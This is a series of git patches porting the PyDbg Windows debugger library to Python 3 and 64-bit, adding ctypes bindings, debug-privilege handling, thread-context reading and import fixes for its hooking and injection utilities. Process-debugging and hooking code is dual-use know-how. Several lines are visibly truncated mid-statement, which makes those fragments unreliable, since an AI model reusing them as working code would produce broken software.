00:00:00 2001 From: Remi Chateauneu Date: Mon, 17 Feb 2020 23:53:17 +0000 Subject: [PATCH 04/14] Python 3 and 64 bits. --- system_dll.py | 24 +++++++++++++++++------- 1 file changed, 17 insertions(+), 7 deletions(-) diff --git a/system_dll.py b/system_dll.py index f3970f0..825eb58 100644 --- a/system_dll.py +++ b/system_dll.py @@ -24,9 +24,7 @@ import os.path -from my_ctypes import * -from defines import * -from windows_h import * +from .windows_h import * # macos compatability. try: @@ -36,10 +34,22 @@ kernel32 = CDLL(os.path.join(os.path.dirname(__file__), "libmacdll.dylib")) psapi = kernel32 -from pdx import * +from .pdx import * import os +import ctypes +from ctypes import wintypes +GetMappedFileNameA = ctypes.windll.psapi.GetMappedFileNameA +LPSTR = POINTER(CHAR) +GetMappedFileNameA.argtypes = (wintypes.HANDLE, wintypes.LPVOID, LPSTR, wintypes.DWORD) +GetMappedFileNameA.restype = wintypes.BOOL + +CreateFileMappingA = ctypes.windll.kernel32.CreateFileMappingA +LPSTR = POINTER(CHAR) +CreateFileMappingA.argtypes = (wintypes.HANDLE, wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD, wintypes.DWORD, LPSTR) +CreateFileMappingA.restype = wintypes.HANDLE + class system_dll: ''' System DLL descriptor object, used to keep track of loaded system DLLs and locations. @@ -82,7 +92,7 @@ def __init__ (self, handle, base): self.size = (file_size_hi.value << 8) + file_size_lo # create a file mapping from the dll handle. - file_map = kernel32.CreateFileMappingA(handle, 0, PAGE_READONLY, 0, 1, 0) + file_map = kernel32.CreateFileMappingA(handle, c_void_p(0), c_ulong(PAGE_READONLY), c_ulong(0), c_ulong(1), b"") if file_map: # map a single byte of the dll into memory so we can query for the file name. @@ -92,10 +102,10 @@ def __init__ (self, handle, base): if file_ptr: # query for the filename of the mapped file. filename = create_string_buffer(2048) - psapi.GetMappedFileNameA(kernel32.GetCurrentProcess(), file_ptr, byref(filename), 2048) + psapi.GetMappedFileNameA(kernel32.GetCurrentProcess(), file_ptr, filename, c_ulong(2048)) # store the full path. this is kind of ghetto, but i didn't want to mess with QueryDosDevice() etc ... - self.path = os.sep + filename.value.split(os.sep, 3)[3] + self.path = b"\\" + filename.value.split(b"\\", 3)[3] # store the file name. # XXX - this really shouldn't be failing. but i've seen it happen. From 76d355739a918461ab36d062431894c2622aa1ce Mon Sep 17 00:00:00 2001 From: Remi Chateauneu Date: Tue, 18 Feb 2020 00:12:26 +0000 Subject: [PATCH 05/14] Python 3 and 64 bits. --- pydbg.py | 359 +++++++++++++++++++++++++++++++++++++++++-------------- 1 file changed, 267 insertions(+), 92 deletions(-) diff --git a/pydbg.py b/pydbg.py index 22ff0d1..248354f 100644 --- a/pydbg.py +++ b/pydbg.py @@ -24,17 +24,23 @@ @organization: www.openrce.org ''' +from __future__ import print_function + import os.path import sys +import six import copy import signal import struct -import pydasm +try: + import pydasm +except ImportError: + pass import socket +import ctypes +from ctypes import wintypes -from my_ctypes import * -from defines import * -from windows_h import * +from .windows_h import * # macos compatability. try: @@ -46,13 +52,25 @@ kernel32 = CDLL(os.path.join(os.path.dirname(__file__), "libmacdll.dylib")) advapi32 = kernel32 -from breakpoint import * -from hardware_breakpoint import * -from memory_breakpoint import * -from memory_snapshot_block import * -from memory_snapshot_context import * -from pdx import * -from system_dll import * +from .breakpoint import * +from .hardware_breakpoint import * +from .memory_breakpoint import * +from .memory_snapshot_block import * +from .memory_snapshot_context import * +from .pdx import * +from .system_dll import * + +GetCurrentProcess = ctypes.windll.kernel32.GetCurrentProcess +GetCurrentProcess.restype = wintypes.HANDLE +OpenProcessToken = ctypes.windll.advapi32.OpenProcessToken +OpenProcessToken.argtypes = (wintypes.HANDLE, wintypes.DWORD, ctypes.POINTER(wintypes.HANDLE)) +OpenProcessToken.restype = wintypes.BOOL + +if sys.version_info < (3,): + big_integer_type = long +else: + big_integer_type = int + class pydbg: ''' @@ -142,8 +160,9 @@ def __init__ (self, ff=True, cs=False): self.op3 = None # pydasm decoded 3rd operand, propagated by self.disasm() # control debug/error logging. - self._log = lambda msg: None #sys.stderr.write("PDBG_LOG> " + msg + "\n") - self._err = lambda msg: sys.stderr.write("PDBG_ERR> " + msg + "\n") + # self._log = lambda msg: None #sys.stderr.write("PDBG_LOG> " + msg + "\n") + self._log = lambda msg: sys.stdout.write("PDBG_LOG> " + msg + "\n") + self._err = lambda msg: sys.stdout.write("PDBG_ERR> " + msg + "\n") # determine the system page size. system_info = SYSTEM_INFO() @@ -152,7 +171,12 @@ def __init__ (self, ff=True, cs=False): # determine the system DbgBreakPoint address. this is the address at which initial and forced breaks happen. # XXX - need to look into fixing this for pydbg client/server. - self.system_break = self.func_resolve("ntdll.dll", "DbgBreakPoint") + try: + # On Travis, this does not work. + self.system_break = self.func_resolve(b"ntdll.dll", b"DbgBreakPoint") + except Exception as exc: + self.system_break = None + sys.stderr.write("Cannot get DbgBreakPoint address. Continue") self._log("system page size is %d" % self.page_size) @@ -231,6 +255,11 @@ def attach (self, pid): except: pass + if not is_64bits: + self.attach32_end() + return self.ret_self() + + def attach32_end(self): # enumerate the TEBs and add them to the internal dictionary. for thread_id in self.enumerate_threads(): thread_handle = self.open_thread(thread_id) @@ -253,7 +282,6 @@ def attach (self, pid): self.peb = self.read_process_memory(teb + 0x30, 4) self.peb = struct.unpack(" 0: + raise RuntimeError("Couldn't get process token") + self._log("my_get_process_token res=%d token=%d" % (res, token)) + return token + def get_debug_privileges (self): ''' Obtain necessary privileges for debugging. @@ -1936,10 +2029,14 @@ def get_debug_privileges (self): self._log("get_debug_privileges()") + OpenProcessToken = ctypes.windll.advapi32.OpenProcessToken + OpenProcessToken.argtypes = (wintypes.HANDLE, wintypes.DWORD, ctypes.POINTER(wintypes.HANDLE)) + OpenProcessToken.restype = wintypes.BOOL + if not advapi32.OpenProcessToken(kernel32.GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, byref(h_token)): raise pdx("OpenProcessToken()", True) - if not advapi32.LookupPrivilegeValueA(0, "seDebugPrivilege", byref(luid)): + if not advapi32.LookupPrivilegeValueA(0, b"seDebugPrivilege", byref(luid)): raise pdx("LookupPrivilegeValue()", True) token_state.PrivilegeCount = 1 @@ -2058,6 +2155,48 @@ def get_system_dll (self, idx): #################################################################################################################### def get_thread_context (self, thread_handle=None, thread_id=0): + # This depends on the target process. At the moment, + # only 32 bits or 64 bits. + # https://stackoverflow.com/questions/17504174/win-64bit-getthreadcontext-returns-zeroed-out-registers-or-0x57-errorcode + if is_64bits: + return self.get_thread_context64(thread_handle, thread_id) + else: + return self.get_thread_context32(thread_handle, thread_id) + + #################################################################################################################### + def get_thread_context64 (self, thread_handle=None, thread_id=0): + #self._log("get_thread_context64 thread_id=%d" % thread_id) + + context = CONTEXT64() + + context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS + + # if a thread handle was not specified, get one from the thread id. + if not thread_handle: + h_thread = self.open_thread(thread_id) + else: + h_thread = thread_handle + + if not kernel32.GetThreadContext(h_thread, byref(context)): + self._log("get_thread_context64 error GetThreadContext") + raise pdx("GetThreadContext() thread_id=%s" % (str(thread_id)), True) + + # if we had to resolve the thread handle, close it. + if not thread_handle: + self.close_handle(h_thread) + + if False: + for register_name, register_type in context._fields_: + try: + self._log("Register:%s Value= %08x" % (register_name, getattr(context, register_name))) + except TypeError: + self._log("Register:%s Not a number" % (register_name)) + + #self._log("get_thread_context64 leaving") + return context + + #################################################################################################################### + def get_thread_context32 (self, thread_handle=None, thread_id=0): ''' Convenience wrapper around GetThreadContext(). Can obtain a thread context via a handle or thread id. @@ -2369,7 +2508,7 @@ def flip_endian (self, dword): #################################################################################################################### - def flip_endian_dword (self, bytes): + def flip_endian_dword (self, array_bytes): ''' Utility function to flip the endianess of a given set of raw bytes into a DWORD. @@ -2379,9 +2518,13 @@ def flip_endian_dword (self, bytes): @rtype: DWORD @return: Converted DWORD. ''' - - return struct.unpack(" Date: Tue, 18 Feb 2020 00:23:56 +0000 Subject: [PATCH 06/14] Added presentation of changes. --- README.md | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/README.md b/README.md index e69de29..7f118d7 100644 --- a/README.md +++ b/README.md @@ -0,0 +1,15 @@ +PyDbg for Python 3 and 64 bits +============================== + +This is a fork of Pedram Amini's [PyDbg](http://pedramamini.com/PaiMei/docs/) ([archived copy at OpenRCE](https://github.com/OpenRCE/pydbg)) which changes to make it run with Python 3 and on 64 machines. + +Some files from [v-p-b/PyDbg](https://github.com/v-p-b/pydbg) are also used. + +This is not entirely finished but most of Python 3 changes are done. +For 64 bits, and the general ideas of the changes are exposed: +- Print pointers with %016x instead of %08x. +- Do not really on default argtypes functions specifications used by ctypes. +- Different registers. +What works is the hooking of functions, and is tested in the project Survol. + +An excellent introduction to PyDbg can be found in the book [Gray Hat Python](https://www.nostarch.com/ghpython.htm). From 43dab35f6e2e42251f507369fd302aaa6d628dfa Mon Sep 17 00:00:00 2001 From: Remi Chateauneu Date: Tue, 18 Feb 2020 00:26:50 +0000 Subject: [PATCH 07/14] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 7f118d7..1f05c55 100644 --- a/README.md +++ b/README.md @@ -10,6 +10,7 @@ For 64 bits, and the general ideas of the changes are exposed: - Print pointers with %016x instead of %08x. - Do not really on default argtypes functions specifications used by ctypes. - Different registers. -What works is the hooking of functions, and is tested in the project Survol. + +What works is the hooking of functions, and it is tested in the project [Survol](https://github.com/rchateauneu/survol). An excellent introduction to PyDbg can be found in the book [Gray Hat Python](https://www.nostarch.com/ghpython.htm). From 58e3588fce67042402e6c8e46a82bb236f205be0 Mon Sep 17 00:00:00 2001 From: Remi Chateauneu Date: Tue, 18 Feb 2020 00:39:30 +0000 Subject: [PATCH 08/14] More tests and Python 3. --- .travis.yml | 19 +++++++++++++++++++ pydbg_client.py | 15 +++++++++------ tests/__init__.py | 1 + tests/test_pydbg.py | 25 +++++++++++++++++++++++++ 4 files changed, 54 insertions(+), 6 deletions(-) create mode 100644 .travis.yml create mode 100644 tests/__init__.py create mode 100644 tests/test_pydbg.py diff --git a/.travis.yml b/.travis.yml new file mode 100644 index 0000000..cfcacd5 --- /dev/null +++ b/.travis.yml @@ -0,0 +1,19 @@ +# Big Thank You to https://github.com/cclauss/Travis-CI-Python-on-three-OSes/blob/master/.travis.yml +language: python # this works for Linux but is an error on macOS or Windows +matrix: + include: + - name: "Python 3.7.5 on Windows" + os: windows # Windows 10.0.17134 N/A Build 17134 + language: shell # 'language: python' is an error on Travis CI Windows + before_install: + # https://travis-ci.community/t/windows-python-pip-module-not-found/5480/4 + - choco install python --version 3.7.5 + - python -m pip install --upgrade pip + - python -m pip install pytest + env: + - PATH=/c/Python37:/c/Python37/Scripts:$PATH +install: +script: + - pwd + - pytest -v --durations=30 tests + diff --git a/pydbg_client.py b/pydbg_client.py index f209791..e458680 100644 --- a/pydbg_client.py +++ b/pydbg_client.py @@ -14,11 +14,14 @@ ''' import socket -import cPickle +try: + import cPickle +except ImportError: + import pickle as cPickle -from pydbg import * -from defines import * -from pdx import * +from .pydbg import * +from .defines import * +from .pdx import * class pydbg_client: ''' @@ -124,7 +127,7 @@ def debug_event_loop (self): ret = DBG_CONTINUE if self.callbacks.has_key(exception_code): - print "processing handler for %08x" % exception_code + print("processing handler for %08x" % exception_code) ret = self.callbacks[exception_code](self) ## user callback event. @@ -135,7 +138,7 @@ def debug_event_loop (self): #### raised exception type. elif received[0] == "exception": (msg_type, exception_string) = received - print exception_string + print(exception_string) raise pdx(exception_string) self.pickle_send(("**DONE**", ret)) diff --git a/tests/__init__.py b/tests/__init__.py new file mode 100644 index 0000000..ba86714 --- /dev/null +++ b/tests/__init__.py @@ -0,0 +1 @@ +# This is executed by Travis-CI diff --git a/tests/test_pydbg.py b/tests/test_pydbg.py new file mode 100644 index 0000000..fa5fe86 --- /dev/null +++ b/tests/test_pydbg.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +from __future__ import print_function + +import os +import sys +import unittest +import six + +@unittest.skipIf(sys.platform.startswith("lin"), "Windows only.") +class PydbgBasicTest(unittest.TestCase): + """ + Test pydbg import and creation. + """ + + def test_create_pydbg(self): + import pydbg + from pydbg import defines + from pydbg import utils + + tst_pydbg = pydbg.pydbg() + + +if __name__ == '__main__': + unittest.main() From e98bd7b002206f79ae0cc185c394d80288bc3389 Mon Sep 17 00:00:00 2001 From: Remi Chateauneu Date: Sun, 29 Mar 2020 20:04:33 +0100 Subject: [PATCH 09/14] Port to 64 bits. --- defines.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/defines.py b/defines.py index 4a4dcf4..badc9a1 100644 --- a/defines.py +++ b/defines.py @@ -78,11 +78,11 @@ class MODULEENTRY32(Structure): ("th32ProcessID", DWORD), ("GlblcntUsage", DWORD), ("ProccntUsage", DWORD), - ("modBaseAddr", DWORD), + ("modBaseAddr", POINTER(CHAR)), ("modBaseSize", DWORD), - ("hModule", DWORD), - ("szModule", CHAR * 256), - ("szExePath", CHAR * 260), + ("hModule", HANDLE), + ("szModule", CHAR * 256), # MAX_MODULE_NAME32 + 1 + ("szExePath", CHAR * 260), # MAX_PATH ] class _MIB_TCPROW_OWNER_PID(Structure): From 68f1bd19e86e53c2d1931ad72f6ed8a3eb8bb267 Mon Sep 17 00:00:00 2001 From: Remi Chateauneu Date: Sun, 29 Mar 2020 20:06:50 +0100 Subject: [PATCH 10/14] Added new structures. --- windows_h.py | 97 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 97 insertions(+) diff --git a/windows_h.py b/windows_h.py index eb58416..29b2a41 100644 --- a/windows_h.py +++ b/windows_h.py @@ -654,3 +654,100 @@ class _LUID_AND_ATTRIBUTES(Structure): else: assert sizeof(_PROCESS_INFORMATION) == 16, sizeof(_PROCESS_INFORMATION) assert alignment(_PROCESS_INFORMATION) == 4, alignment(_PROCESS_INFORMATION) + +class _IMAGE_FILE_HEADER(Structure): + _fields_ = [ + ("Machine", WORD), + ("NumberOfSections", WORD), + ("TimeDateStamp", DWORD), + ("PointerToSymbolTable", DWORD), + ("NumberOfSymbols", DWORD), + ("SizeOfOptionalHeader", WORD), + ("Characteristics", WORD), + ] + +class _IMAGE_DATA_DIRECTORY(Structure): + _fields_ = [ + ("VirtualAddress", DWORD), + ("Size", DWORD), + ] + +class _IMAGE_DATA_DIRECTORY(Structure): + _fields_ = [ + ("VirtualAddress", DWORD), + ("Size", DWORD), + ] + +IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16 + +class _IMAGE_OPTIONAL_HEADER(Structure): + _fields_ = [ + ("Magic", WORD), + ("MajorLinkerVersion", BYTE), + ("MinorLinkerVersion", BYTE), + ("SizeOfCode", DWORD), + ("SizeOfInitializedData", DWORD), + ("SizeOfUninitializedData", DWORD), + ("AddressOfEntryPoint", DWORD), + ("BaseOfCode", DWORD), + ("BaseOfData", DWORD), + ("ImageBase", DWORD), + ("SectionAlignment", DWORD), + ("FileAlignment", DWORD), + ("MajorOperatingSystemVersion", WORD), + ("MinorOperatingSystemVersion", WORD), + ("MajorImageVersion", WORD), + ("MinorImageVersion", WORD), + ("MajorSubsystemVersion", WORD), + ("MinorSubsystemVersion", WORD), + ("Win32VersionValue", DWORD), + ("SizeOfImage", DWORD), + ("SizeOfHeaders", DWORD), + ("CheckSum", DWORD), + ("Subsystem", WORD), + ("DllCharacteristics", WORD), + ("SizeOfStackReserve", DWORD), + ("SizeOfStackCommit", DWORD), + ("SizeOfHeapReserve", DWORD), + ("SizeOfHeapCommit", DWORD), + ("LoaderFlags", DWORD), + ("NumberOfRvaAndSizes", DWORD), + ("DataDirectory", _IMAGE_DATA_DIRECTORY * IMAGE_NUMBEROF_DIRECTORY_ENTRIES), + ] +IMAGE_OPTIONAL_HEADER32 = _IMAGE_OPTIONAL_HEADER + +class _IMAGE_OPTIONAL_HEADER64(Structure): + _fields_ = [ + ("Magic", WORD), + ("MajorLinkerVersion", BYTE), + ("MinorLinkerVersion", BYTE), + ("SizeOfCode", DWORD), + ("SizeOfInitializedData", DWORD), + ("SizeOfUninitializedData", DWORD), + ("AddressOfEntryPoint", DWORD), + ("BaseOfCode", DWORD), + ("ImageBase", DWORD64), + ("SectionAlignment", DWORD), + ("FileAlignment", DWORD), + ("MajorOperatingSystemVersion", WORD), + ("MinorOperatingSystemVersion", WORD), + ("MajorImageVersion", WORD), + ("MinorImageVersion", WORD), + ("MajorSubsystemVersion", WORD), + ("MinorSubsystemVersion", WORD), + ("Win32VersionValue", DWORD), + ("SizeOfImage", DWORD), + ("SizeOfHeaders", DWORD), + ("CheckSum", DWORD), + ("Subsystem", WORD), + ("DllCharacteristics", WORD), + ("SizeOfStackReserve", DWORD64), + ("SizeOfStackCommit", DWORD64), + ("SizeOfHeapReserve", DWORD64), + ("SizeOfHeapCommit", DWORD64), + ("LoaderFlags", DWORD), + ("NumberOfRvaAndSizes", DWORD), + ("DataDirectory", _IMAGE_DATA_DIRECTORY * IMAGE_NUMBEROF_DIRECTORY_ENTRIES), + ] +IMAGE_OPTIONAL_HEADER64 = _IMAGE_OPTIONAL_HEADER64 + From 22b818ef2e8638d1e62a9d2412676b6db5bb43cc Mon Sep 17 00:00:00 2001 From: Remi Chateauneu Date: Sun, 29 Mar 2020 20:11:07 +0100 Subject: [PATCH 11/14] Added functions. Remove duplicate code. --- system_dll.py | 40 +++++++++++++++++++++++++++++++++++++--- 1 file changed, 37 insertions(+), 3 deletions(-) diff --git a/system_dll.py b/system_dll.py index 825eb58..9f69813 100644 --- a/system_dll.py +++ b/system_dll.py @@ -22,6 +22,8 @@ @organization: www.openrce.org ''' +from __future__ import print_function + import os.path from .windows_h import * @@ -40,16 +42,49 @@ import ctypes from ctypes import wintypes -GetMappedFileNameA = ctypes.windll.psapi.GetMappedFileNameA + LPSTR = POINTER(CHAR) + +GetMappedFileNameA = ctypes.windll.psapi.GetMappedFileNameA GetMappedFileNameA.argtypes = (wintypes.HANDLE, wintypes.LPVOID, LPSTR, wintypes.DWORD) GetMappedFileNameA.restype = wintypes.BOOL CreateFileMappingA = ctypes.windll.kernel32.CreateFileMappingA -LPSTR = POINTER(CHAR) CreateFileMappingA.argtypes = (wintypes.HANDLE, wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD, wintypes.DWORD, LPSTR) CreateFileMappingA.restype = wintypes.HANDLE +GetCurrentProcess = ctypes.windll.kernel32.GetCurrentProcess +GetCurrentProcess.restype = wintypes.HANDLE + +OpenProcessToken = ctypes.windll.advapi32.OpenProcessToken +OpenProcessToken.argtypes = (wintypes.HANDLE, wintypes.DWORD, ctypes.POINTER(wintypes.HANDLE)) +OpenProcessToken.restype = wintypes.BOOL + +IsWow64Process = ctypes.windll.kernel32.IsWow64Process +IsWow64Process.argtypes = [wintypes.HANDLE, ctypes.POINTER(wintypes.BOOL)] +IsWow64Process.restype = wintypes.BOOL + +GetCurrentProcess = ctypes.windll.kernel32.GetCurrentProcess +GetCurrentProcess.argtypes = [] +GetCurrentProcess.restype = wintypes.BOOL + +ReadProcessMemory = ctypes.windll.kernel32.ReadProcessMemory +ReadProcessMemory.argtypes = [HANDLE, LPVOID, LPVOID, c_size_t, POINTER(c_size_t)] + +VirtualProtectEx = ctypes.windll.kernel32.VirtualProtectEx +VirtualProtectEx.argtypes = [wintypes.HANDLE, LPVOID, c_size_t, wintypes.DWORD, POINTER(wintypes.DWORD)] +VirtualProtectEx.restype = wintypes.BOOL + +Module32First = ctypes.windll.kernel32.Module32First +Module32First.argtypes = (wintypes.HANDLE, POINTER(MODULEENTRY32)) +Module32First.restype = wintypes.BOOL + +OpenProcessToken = ctypes.windll.advapi32.OpenProcessToken +OpenProcessToken.argtypes = (wintypes.HANDLE, wintypes.DWORD, ctypes.POINTER(wintypes.HANDLE)) +OpenProcessToken.restype = wintypes.BOOL + +#################################################################################################################### + class system_dll: ''' System DLL descriptor object, used to keep track of loaded system DLLs and locations. @@ -87,7 +122,6 @@ def __init__ (self, handle, base): # calculate the file size of the file_size_hi = c_ulong(0) - file_size_lo = 0 file_size_lo = kernel32.GetFileSize(handle, byref(file_size_hi)) self.size = (file_size_hi.value << 8) + file_size_lo From 07db67ec14769d4726d86ad515c6e38e63a957ad Mon Sep 17 00:00:00 2001 From: Remi Chateauneu Date: Sun, 29 Mar 2020 20:28:15 +0100 Subject: [PATCH 12/14] Porting to Py3 and 64 bits. --- pydbg.py | 69 +++++++++++++++++++++++++------------------------------- 1 file changed, 31 insertions(+), 38 deletions(-) diff --git a/pydbg.py b/pydbg.py index 248354f..dc46a9f 100644 --- a/pydbg.py +++ b/pydbg.py @@ -60,17 +60,21 @@ from .pdx import * from .system_dll import * -GetCurrentProcess = ctypes.windll.kernel32.GetCurrentProcess -GetCurrentProcess.restype = wintypes.HANDLE -OpenProcessToken = ctypes.windll.advapi32.OpenProcessToken -OpenProcessToken.argtypes = (wintypes.HANDLE, wintypes.DWORD, ctypes.POINTER(wintypes.HANDLE)) -OpenProcessToken.restype = wintypes.BOOL - if sys.version_info < (3,): big_integer_type = long else: big_integer_type = int +def process_is_wow64(pid=None): + if pid: + process_handle = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid) + else: + process_handle = GetCurrentProcess() + + temp_is_wow64 = wintypes.BOOL() + a_bool = IsWow64Process(process_handle, byref(temp_is_wow64)) + + return True if temp_is_wow64 else False class pydbg: ''' @@ -578,8 +582,7 @@ def bp_set (self, address, description="", restore=True, handler=None): return self.ret_self() - self._log("bp_set(0x%016x)" % address) - + assert address # ensure a breakpoint doesn't already exist at the target address. if not address in self.breakpoints: try: @@ -592,8 +595,8 @@ def bp_set (self, address, description="", restore=True, handler=None): # add the breakpoint to the internal list. self.breakpoints[address] = breakpoint(address, original_byte, description, restore, handler) - except: - raise pdx("Failed setting breakpoint at %016x" % address) + except Exception as exc: + raise pdx("Failed setting breakpoint at %016x : %s" % (address, exc)) return self.ret_self() @@ -837,7 +840,7 @@ def dbg_print_all_guarded_pages (self): if mbi.Protect & PAGE_GUARD: address = mbi.BaseAddress - print("PAGE GUARD on %08x" % mbi.BaseAddress) + print("PAGE GUARD on %016x" % mbi.BaseAddress) while 1: address += self.page_size @@ -846,7 +849,7 @@ def dbg_print_all_guarded_pages (self): if not tmp_mbi.Protect & PAGE_GUARD: break - print("PAGE GUARD on %08x" % address) + print("PAGE GUARD on %016x" % address) cursor += mbi.RegionSize @@ -1580,12 +1583,12 @@ def exception_handler_breakpoint (self): continue_status = DBG_CONTINUE if self.first_breakpoint: - self._log("first windows driven system breakpoint at %08x" % self.exception_address) + self._log("first windows driven system breakpoint at %016x" % self.exception_address) self.first_breakpoint = False # ignore all other breakpoints we didn't explicitly set. else: - self._log("breakpoint not ours %08x" % self.exception_address) + self._log("breakpoint not ours %016x" % self.exception_address) continue_status = DBG_EXCEPTION_NOT_HANDLED # breakpoints we did set. @@ -1667,12 +1670,12 @@ def exception_handler_guard_page (self): # grab the actual memory breakpoint object, for the hit breakpoint. if self.memory_breakpoint_hit: - self._log("direct hit on memory breakpoint at %08x" % self.memory_breakpoint_hit) + self._log("direct hit on memory breakpoint at %016x" % self.memory_breakpoint_hit) if self.write_violation: - self._log("write violation from %08x on %08x of mem bp" % (self.exception_address, self.violation_address)) + self._log("write violation from %016x on %016x of mem bp" % (self.exception_address, self.violation_address)) else: - self._log("read violation from %08x on %08x of mem bp" % (self.exception_address, self.violation_address)) + self._log("read violation from %016x on %016x of mem bp" % (self.exception_address, self.violation_address)) # if there is a specific handler registered for this bp, pass control to it. if self.memory_breakpoint_hit and self.memory_breakpoints[self.memory_breakpoint_hit].handler: @@ -1846,14 +1849,14 @@ def func_resolve_debuggee (self, dll_name, func_name): dos_header = self.read_process_memory(base_address, 0x40) # check validity of DOS header. - if len(dos_header) != 0x40 or dos_header[:2] != "MZ": + if len(dos_header) != 0x40 or dos_header[:2] != b"MZ": continue e_lfanew = struct.unpack(" Date: Sun, 29 Mar 2020 20:28:50 +0100 Subject: [PATCH 13/14] Relative import for Python 3. --- utils/hooking.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/utils/hooking.py b/utils/hooking.py index f0233a1..239c7fd 100644 --- a/utils/hooking.py +++ b/utils/hooking.py @@ -22,7 +22,7 @@ @organization: www.openrce.org ''' -from pydbg.defines import * +from ..defines import * ######################################################################################################################## class hook_container: From fed4087841ad7ca89397f28f2b951e1462244c08 Mon Sep 17 00:00:00 2001 From: Remi Chateauneu Date: Sun, 29 Mar 2020 20:29:10 +0100 Subject: [PATCH 14/14] Relative import for Python 3. --- utils/injection.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/utils/injection.py b/utils/injection.py index e0f84d4..a770077 100644 --- a/utils/injection.py +++ b/utils/injection.py @@ -24,9 +24,9 @@ import os.path -from pydbg import * -from pydbg.defines import * -from pydbg.my_ctypes import * +from ..pydbg import * +from ..defines import * +from ..my_ctypes import * # macos compatability. try: